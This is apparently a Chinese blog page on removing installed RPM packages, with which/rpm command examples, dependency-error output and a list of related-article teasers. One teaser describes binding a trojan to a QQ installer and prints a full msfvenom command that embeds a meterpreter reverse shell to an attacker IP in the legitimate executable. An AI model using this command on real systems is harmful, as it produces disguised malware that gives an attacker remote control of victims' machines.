LINUX删除或卸载已安装好的RPM包

msfconsole捆绑木马 捆绑木马 这里使用的是Kalilinux虚拟机 攻击机ip是192.168.0.108 靶机ip是192.168.177.134 生成木马文件 首先上传一个正常的安装包到kali里面 我这里下了一个QQ 把它上传到了root路径下 然后开始捆绑 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe -p:指定后面. 阅读详情
1,现实情况往往是你想删除或卸载已安装好的软件。但你可能只知道这个软件安装好后的文件名是什么,此时可以先用which或其find找到你想删除的文件
[root@localhost rpm]# which httpd  ---查删除的文件
/usr/sbin/httpd
[root@localhost rpm]# rpm -q -f /usr/sbin/httpd  --根据文件查出所对应的rpm包名
httpd-2.2.3-31.el5.centos
[root@localhost rpm]# rpm -e httpd-2.2.3-31.el5.centos  --执行删除
error: Failed dependencies: --会报错,这说明会有依赖关系存在
        httpd-mmn = 20051115 is needed by (installed) php-5.1.6-23.2.el5_3.i386
        httpd-mmn = 20051115 is needed by (installed) mod_python-3.2.8-3.1.i386
        httpd-mmn = 20051115 is needed by (installed) mod_ssl-2.2.3-31.el5.centos.i386
        httpd-mmn = 20051115 is needed by (installed) mod_perl-2.0.4-6.el5.i386
        webserver is needed by (installed) webalizer-2.01_10-30.1.i386
        httpd is needed by (installed) piranha-0.8.4-13.el5.i386
        httpd >= 2.0.40 is needed by (installed) mod_python-3.2.8-3.1.i386
        httpd = 0:2.2.3-31.el5.centos is needed by (installed) mod_ssl-2.2.3-31.el5.centos.i386
        httpd = 2.2.3-31.el5.centos is needed by (installed) httpd-manual-2.2.3-31.el5.centos.i386
        httpd >= 2.2.0 is needed by (installed) gnome-user-share-0.10-6.el5.i386
        httpd is needed by (installed) system-config-httpd-1.3.3.3-1.el5.noarch
[root@localhost rpm]# rpm -e --allmatches httpd-2.2.3-31.el5.centos
error: Failed dependencies:
        httpd-mmn = 20051115 is needed by (installed) php-5.1.6-23.2.el5_3.i386
        httpd-mmn = 20051115 is needed by (installed) mod_python-3.2.8-3.1.i386
        httpd-mmn = 20051115 is needed by (installed) mod_ssl-2.2.3-31.el5.centos.i386
        httpd-mmn = 20051115 is needed by (installed) mod_perl-2.0.4-6.el5.i386
        webserver is needed by (installed) webalizer-2.01_10-30.1.i386
        httpd is needed by (installed) piranha-0.8.4-13.el5.i386
        httpd >= 2.0.40 is needed by (installed) mod_python-3.2.8-3.1.i386
        httpd = 0:2.2.3-31.el5.centos is needed by (installed) mod_ssl-2.2.3-31.el5.centos.i386
        httpd = 2.2.3-31.el5.centos is needed by (installed) httpd-manual-2.2.3-31.el5.centos.i386
        httpd >= 2.2.0 is needed by (installed) gnome-user-share-0.10-6.el5.i386
        httpd is needed by (installed) system-config-httpd-1.3.3.3-1.el5.noarch




-----加上删除一些选项,--allmatches是把与这个rpm包所有相匹配的rpm包全部删除掉;--nodeps是在删除时不进行依赖性的读取
[root@localhost rpm]# rpm -e --allmatches --nodeps httpd-2.2.3-31.el5.centos
[root@localhost rpm]# which httpd  ---再次查询,已经安装的rpm包已经没有了
ssd训练自己的数据集 基于SSD实现目标检测(训练自己的数据集) 阅读详情

相关推荐

5分钟搞定!用FunASR在本地快速部署达摩院Paraformer语音识别模型

本文提供了一份快速部署指南,教你如何在5分钟内利用FunASR工具包在本地电脑上启动达摩院Paraformer语音识别模型。Paraformer作为一款非自回归端到端模型,以其推理速度快、识别精度高的特点,结合FunASR的一键式模型加载和统一API,让开发者能轻松构建本地语音识别系统,极大降低了前沿AI技术的应用门槛。

q9w8e7r6t5的博客 601

如何使用rpm卸载命令

rpm(Red Hat Package Manager)是Linux中常见的软件包管理工具,通常用于安装、升级和移除软件包。当我们需要卸载软件包时,可以使用如下命令:rpm -e 其中,-e参数表示卸载软件包,软件包名为要卸载的软件包的名称。本文重点讲解了如何使用rpm卸载命令进行软件包管理,包括rpm卸载命令的使用、常用选项、以及卸载软件包的实例演示等内容。希望能够对Linux系统管理员和开发者有所帮助。

技术小站 3万+

华为2288H-V5服务器做raid的详细步骤

操作步骤 服务器启动界面 按del键进入设置输入密码,2288H-v5默认密码是Admin@9000 移动光标选择device manager 驱动管理选择configurationutility 配置管理 选择main menu 主菜单 选择第一个 configuration management 配置管理 选择create virtual driver 创建虚拟驱动选择select RAID level 选择RAID等级选择level-5 选择select drivers 选择驱......

weixin_46041124的博客 1万+

linux下正确卸载rpm包

linux卸载rmp应用

weixin_45214675的博客 1692

Python制作【大麦网】自动抢票程序

Python 的迅速崛起对整个行业来说都是极其有利的,但“人红是非多”,导致它平添了许许多多的批评,不过依旧挡不住它火爆的发展势头。如果你对Python感兴趣,想要学习pyhton,这里给大家分享一份Python全套学习资料,都是我自己学习时整理的,希望可以帮到你,一起加油!😝有需要的小伙伴,可以点击下方链接免费领取或者V扫描下方二维码免费领取🆓点击这里。

mate1357的博客 2万+

稳健自适应波束形成学习(2):自适应计算对角加载量方法——基于广义线性组合的鲁棒Capon波束形成

对于快拍数相对阵元数较小时,样本协方差矩阵不能很好对协方差矩阵进行估计。常规的对角加载量需要根据经验值或不断手动调整进行测试,没有一个明确的准则和推导。该篇介绍一种自适应计算对角加载量的方法,且能适应快拍数相对阵元数较小时的情况。均匀线阵阵元数:18;载波频率30MHz;通信信号来波方向0°、来波估计偏差0.5°;干扰来波方向30°;通信信号信噪比10dB;干扰信号信噪比60dB。也即在干扰角度生成66dB的零陷,通信信号受到16dB的衰减。

a1uajug的博客 824

linux删除rpm安装包,linux删除安装包(rpm,src.rpm,tar.gz,bz2)

不管是哪个平台下,软件的安装与卸载是每一位计算机操作者所必需掌握的知识。Windows之所以易用、好掌握,也在于它软件安装、卸载完全图形化操作、直观。反观Linux,就令人感觉有些困惑。Linux下软件的安装除了二进制形式的软件分发外,还有许多以源码形式分发的软件包。1、以“rpm”为后缀的二进制软件包安装:rpm -ivh *.rpm卸载:rpm -e packagename参数-i表示安装,-...

weixin_42425075的博客 964

使用兮克 2.5G 交换机将北京联通 EPON 改为 ODI 猫棒接入

最近入手了兮克2.5G交换机(兮克SKS1200-8GPY1XF),有 8 个 2.5G 电口和 1 个 10G SFP+ 光口;支持多种组网模式,其中一种是支持使用猫棒接入,由路由器拨号后再回接到交换机,这样就可以替换掉光猫了。

啦啦啦啦 la 1万+

Linux中使用rpm命令卸载软件

例如卸载mysql: 这样就完成了rpm安装程序的卸载。

hyy 6096

【WRF理论第十四期】 VEGPARM.TBL 文件详解

WRF 读取 VEGPARM.TBL 文件

WW、forever的博客 573

QML实现ListView的拖动排序

现有一种需求,就是用鼠标拖动某项,动态去改变某一项在ListView中显示的顺序位置,经过研究及实践实战,实现方式的核心代码如下: import QtQuick 2.4 import QtQuick.Controls 1.3 import QtQuick.Window 2.2 import QtQuick.Dialogs 1.2 Rectangle { width: 800 ...

草上爬的博客 7562

删除rpm包

在使用这些命令时,请确保您有足够的权限,尤其是在访问系统级的包信息时。在卸载过程中,RPM 会检查是否有依赖于要卸载的包的其他包。要查看 RPM 包的名称,您可以使用 RPM 包管理器提供的查询功能。这些功能允许您查看已安装的 RPM 包列表以及每个包的详细信息。卸载 RPM 包时应谨慎操作,避免删除对系统正常运行至关重要的包。首先,您需要知道要删除的 RPM 包的确切名称。要删除 RPM 包,您可以使用 RPM 包管理器的卸载功能。在卸载包之前,请确保该包不是系统的重要组件,以免影响系统的正常运行。

weixin_50153914的博客 1517

玩转Docker小游戏项目系列: Docker部署红心纸牌网页小游戏

玩转Docker小游戏项目系列: Docker部署红心纸牌网页小游戏

jks212454的博客 420

linux下安装mysql的三种方法:rpm包安装、yum安装、源码包安装与如何卸载或删除mysql的rpmy及其mysql文件

1 安装MySQL数据库服务器 安装方法一: //查询系统自带的数据库 rpm -qa | grep -i mysql //卸载查询到的所有mysql rpm -e --nodeps mysql-libs-5.1.71-1.el6.x86_64 rpm -e --nodeps mysql-devel-5.1.71-1.el6.x86_64 rpm -e --nodeps mysql-5.1.71-...

qq_40714770的博客 888

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

centos卸载软件三种方式

1.我们来卸载用yum安装的软件:yum remove 软件名字; 2. 如果是用rpm包安装的软件呢,则使用如图命令进行卸载; rpm -e 软件名; 3.如果是用tar包安装的软件呢,则使用make uninstall 软件名称来卸载,直接删除也可以的; ...

2万+

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

linux 软件常用安装方法

1、软件安装卸载,分几种情况:A:RPM包,这种软件包就像windows的EXE安装文件一样,各种文件已经编译好,并打了包,哪个文件该放到哪个文件夹,都指定好了,安装非常方便,在图形界面里你只需要双击就能自动安装。==如何卸载:1、打开一个SHELL终端2、因为Linux下的软件名都包括版本号,所以卸载前最好先确定这个软件的完整名称。查找RPM包软件:rpm -qa ×××

~~Jeremy 578

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

Linux软件安装常用方法

1、软件安装卸载,分几种情况: A:RPM包,这种软件包就像windows的EXE安装文件一样,各种文件已经编译好,并打了包,哪个文件该放到哪个文件夹,都指定好了,安装非常方便,在图形界面里你只需要双击就能自动安装。 ==如何卸载:1、打开一个SHELL终端2、因为Linux下的软件名都包括版本号,所以卸载前最好先确定这个软件的完整名称。查找RPM包软件:rpm -qa ×××*注意...

100

mysql卸载教程linux6_Linux平台下卸载MySQL的方法

Linux平台下卸载MySQL的方法:MySQL的安装主要有三种方式:二进制包安装、RPM包安装、源码安装。对应不同的安装方式,卸载的步骤有些不同。文章中如有不足或不对的地方,敬请指出或补充!一、RPM包安装方式的MySQL卸载1: 检查是否安装了MySQL组件。[root@DB-Server init.d]# rpm -qa | grep -i mysqlMySQL-devel-5.6.23-1...

weixin_32629285的博客 113

linux卸载httpd软件包,CentOS 卸载apache

一、要想删除,就要先弄清楚它是怎么装的。装一个软件,可以用opt-get(ubuntu常用),或是rpm包(redhat常用),或是源码安装(专业用法)opt-get和rpm查各自的删除命令就可以轻松删除,一般没什么问题源码安装的话,直接找到文件删掉就可以(linux没有注册表什么的,直接删的)如果自已不懂又想快点解决这个办法,可以找人来弄。否则你还是先学点基础命令,对linux有一点了解再去操作...

weixin_31693025的博客 1211

rpm/yum安装MySql并初始化配置

卸载自带的数据库 使用命令:rpm -qa|grep -i mysql 查询MySQL的包 使用命令:rpm -e --nodeps+包名,将查到的MySQL的包全部删除 删除老版本mysql文件和库 rm -fr /usr/lib/mysql rm -fr /usr/include/mysql 注意:卸载后/var/lib/mysql中的数据及/etc/my.cnf不会删除,如果确定没用后就手工删除 rm -f /etc/my.cnf rm -fr /var/lib/mysql 1)使用rpm.

向往的生活 1600

如何卸载编译安装的mysql

如何卸载编译安装的mysql   注意:先把mysql的数据库bak出来 导出数据库:# mysqldump –u 用户名 –p 数据库 〉 数据库名.sql 导入数据库:# mysql –u 用户名 –p 数据库 <  数据库名.Sql   一. 如果是RPM包安装的 可以这样卸载:rmp -e mysql 二. 如果是原代码编译安装的,直接删除安装目录就可以了

狐狸叫 3488

rpm的安装与卸载,常用命令记载

安装: sudo rpm -ivh xxx.rpm 卸载 首先通过 rpm -q <关键字> 可以查询到rpm包的名字 然后调用 rpm -e <包的名字> 删除特定rpm包 如果遇到依赖,无法删除,使用 rpm -e --nodeps <包的名字> 不检查依赖,直接删除rpm包 如果有多个同样名字的包,使用 rpm -e --allmatches --nodeps <包的名字> 删除所有相同名字的包,并忽略依赖 ......

玩火的稻草人的博客 1684

gz包mysql怎么卸载,Linux下卸载MySQL数据库

如何在Linux下卸载MySQL数据库呢? 下面总结、整理了一下Linux平台下卸载MySQL的方法。 MySQL的安装主要有三种方式:二进制包安装(Using Generic Binaries)、RPM包安装、源码安装。对应不同的安装方式,卸载的步骤有些不同。文章中如有不足或不对的地方,敬请指出或补充!RPM包安装方式的MySQL卸载1、检查是否安装了MySQL组件。?如上所示,说明安装了MyS...

weixin_39599454的博客 230

vps mysql卸载_Linux下卸载MySQL数据库

如何在Linux下卸载MySQL数据库呢? 下面总结、整理了一下Linux平台下卸载MySQL的方法。 MySQL的安装主要有三种方式:二进制包安装(Using Generic Binaries)、RPM包安装、源码安装。对应不同的安装方式,卸载的步骤有些不同。文章中如有不足或不对的地方,敬请指出或补充!RPM包安装方式的MySQL卸载1、检查是否安装了MySQL组件。[root@DB-Serve...

weixin_31707171的博客 238

Linux之用户管理、权限管理、程序安装卸载

Ubuntu 推荐使用 apt 进行下载、安装。会从 ubuntu 官网下载(中国区镜像),如果下载速度慢的话,可以设置从其他镜像下载,具体搜索“Ubuntu apt-get 镜像”,执行某些程序的时候,如果程序没安装,还会提示你,比如执行 vim、tree 等。​(2). 指定目录和组名:【sudo useradd -d /home/a a -g mygroup1 -m】,创建一个用户名字叫a,主目录在/home/a,如果主目录不存在,就自动创建主目录,同时用户属于mygroup1组。

Linuxhus的博客 373

如何恢复误删除的rpm包命令解决-bash: /usr/bin/yum: No such file or directory的问题

如何恢复误删除的rpm包命令 出现这个问题的原因是linux自带的RPM包被删除 在linux学习过程中,我们会遇到各种各样的问题,当然,如果能够将遇到的问题一一解决也是非常开心的,因为在解决问题的过程中我们的专业技能也得到了很大的提升。最近的测试中遇到了一个平时很少接触的问题:如何恢复误删除的rpm包命令。所以觉得有必要写下来,以防止下次出现类似的问题而不会解决。 首先模拟卸载

qq_29563255的博客 1万+
上一篇: gdb 常用调试方法
下一篇: boost锁的概述
cppbegginer
博客等级 码龄18年 26粉丝 75原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值